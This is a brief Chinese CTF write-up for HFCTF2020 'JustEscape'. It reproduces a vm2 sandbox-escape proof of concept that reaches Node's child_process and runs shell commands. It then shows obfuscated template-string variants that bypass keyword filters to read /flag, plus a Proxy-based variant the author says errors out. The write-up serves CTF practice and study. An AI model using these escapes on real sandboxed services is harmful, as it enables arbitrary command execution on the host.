[HFCTF2020]JustEscape
先用Error().stack测试一下,确定是vm.js
这个老哥写的沙箱逃逸https://github.com/patriksimek/vm2/issues/225
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
对于网站过滤的关键字,比如prototype,可以
[`${`${`prototyp`}e`}`]
也可以
[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`]
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()
这个老哥的另外一个绕过我也试了,但是会报错TypeError: e is not a function
(function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
}
}));
}catch(e){
return e(()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()